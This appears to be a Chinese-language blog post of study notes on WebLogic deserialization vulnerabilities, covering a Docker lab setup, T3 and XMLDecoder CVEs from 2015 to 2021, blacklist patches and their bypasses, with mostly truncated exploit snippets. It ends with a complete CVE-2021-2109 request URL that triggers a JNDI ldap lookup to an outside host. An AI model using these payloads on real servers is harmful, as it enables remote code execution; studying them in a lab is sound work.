环境
这个环境弄了很久,最后用的是boog的。然后他其实就多设置了一个镜像,要不然那个安装有一个依赖的时候会有问题。
https://drun1baby.top/2022/11/28/CVE-2015-4852-WebLogic-T3-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%86%E6%9E%90/
https://boogipop.com/2023/04/26/Weblogic%E5%85%A8%E6%BC%8F%E6%B4%9E%E5%AD%A6%E4%B9%A0/#%E7%8E%AF%E5%A2%83-4
https://www.anquanke.com/post/id/219985 // 这里面有一个外链可以找到早期版本的weblogic
https://y4er.com/posts/weblogic-cve-2015-4852/ // y4er师傅写的也很详细
然后去orcle 官网去找适当版本的jdk。
环境的在kali里面没有弄成。
dockerfile添一点东西。
1 | RUN cd /etc/yum.repos.d/ |
docker build –build-arg JDK_PKG=jdk-8u65-linux-x64.tar.gz –build-arg WEBLOGIC_JAR=wls1036_generic.jar -t weblogic1036jdk8u65 .
docker run -it -d -p 7001:7001 -p 8453:8453 -p 5556:5556 –name weblogic1036jdk8u65 weblogic1036jdk8u65
这个调试端口不能随便映射。要不然容易出问题。
1 | /console/login/LoginForm.jsp //登入路径。 |
1 | docker cp weblogic1036jdk8u65:/u01/app/oracle/middleware/modules ~/www |
docker cp weblogic1036jdk8u65:/u01/app/oracle/middleware/wlserver/server/lib/wlfullclient.jar ~/www
然后把这些依赖全部导入lib。然后
ac ed 00 05 后的内容便是序列化的数据
CVE-2015-4852
简单老说就是利用t3协议,发送序列化数据,然后服务端可以把数据反序列化。
抓包分析。然后利用socks编程然后把序列化数据发送过去。具体通讯的一些细节可以通过抓包获取。
1 | import socket |
简单说一下反序列化的点。 ServerChannelInputStream 继承了 ObjectInputStream。然后自身的resolveClass也没有做任何的过滤。然后就是去打的cc6了。
然后weblogic里面还有cc的依赖。然后jdk版本又比较高就容易攻击。
补丁
重写resolveClass。我这里就直接用别的师傅的图片了。
黑名单大概有这些。
CVE-2016-0638
一次针对CVE-2015-4852的绕过
进入/u01/app/oracle/middleware/wlserver/server/lib/ 这个目录然后执行。
/java/bin/java -jar ../../../modules/com.bea.core.jarbuilder_1.7.0.0.jar
生成的 /u01/app/oracle/middleware/wlserver/server/lib/wlfullclient.jar 拖入lib。
StreamMessageImpl 实现了 Externalizable 。对其反序列化时会调用其 readExternal 方法。
里面有新的二次反序列化的点。
1 | public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException { |
咱们使用这个项目 https://github.com/5up3rc/weblogic_cmd 进行简单利用。
核心在于。讲我们想要反序列化的数据包了一层。StreamMessageImpl 而做到了绕过了黑名单。
CVE-2016-3510
另一种绕过。
这里包了一层 MarshalledObject。
1 | private static Object marshalledObject(Object payload) { |
具体还是上面那个项目,然后改一个设置就好。
1 | public class Main { |
然后也可以打rmi二次反序列化。这里不细谈了。其实以前讲rmi的时候简单说过这个二次反序列化的点。
RMI回显
让服务端去加载这个类。然后会调用到getServerLocation 这个方法里面。
1 | package com.boogipop.payload; |
然后poc这样写。
1 | package com.boogipop; |
思路好巧妙。让服务端开一个rmi服务,然后让客户端去调用。然后就有了回显。
1 | ClusterMasterRemote remote = (ClusterMasterRemote) context.lookup("Boogipop"); |
1 | transform:124, ChainedTransformer (org.apache.commons.collections.functors) |
1 | start:1007, ProcessBuilder (java.lang) |
CVE-2017-3248
其实还是绕过黑名单,打的是jrmp反序列化。我rmi那篇文章后面有提到
其实可以再把weblogic_cmd再给魔改一下。或者直接用python脚本
1 | from __future__ import print_function |
补丁
1 | protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException { |
看上面的补丁,补丁都是搭载resolveclass这里,治标不治本,黑名单罢了,就是ban掉了那个Registry,那我们不进入代理的Resolveclass就好了。
CVE-2018-2628
紧接着下面这三个就是针对上面那个cve的绕过。
直接反序列化UnicastRef.人家有自己的readExternal,也会触发
1 | public Registry getObject(final String command) throws Exception { |
CVE-2018-2893
由于weblogic一直没有处理streamMessageImpl,导致CVE-2016-0638 + CVE-2018-2628 = CVE-2018-2893,用streamMessageImpl封装一下而已。
CVE-2018-3245
RMIConnectionImpl_Stub代替RemoteObjectInvocationHandler,实际上就是找RemoteObject类的子类。https://github.com/pyn3rd/CVE-2018-3245
CVE-2017-3506XMLDecoder
1 | POST /wls-wsat/CoordinatorPortType HTTP/1.1 |
补丁
这里补丁在 WorkContextXmlInputAdapter
中添加了 validate
验证,限制了 object
标签,从而限制通过 XML 来构造类
1 | private void validate(InputStream is) { |
CVE-2017-10271
绕过方法很简单,将 object
修改成 void
,也就是最开始漏洞复现的 exp
补丁
依然是进行黑名单判断
1 | private void validate(InputStream is) { |
CVE-2021-2109 JNDI
http://127.0.0.1:7001/console/css/%252e%252e%252fconsolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://127.0.0;1:1389/aew0xy;AdminServer%22)
to be continue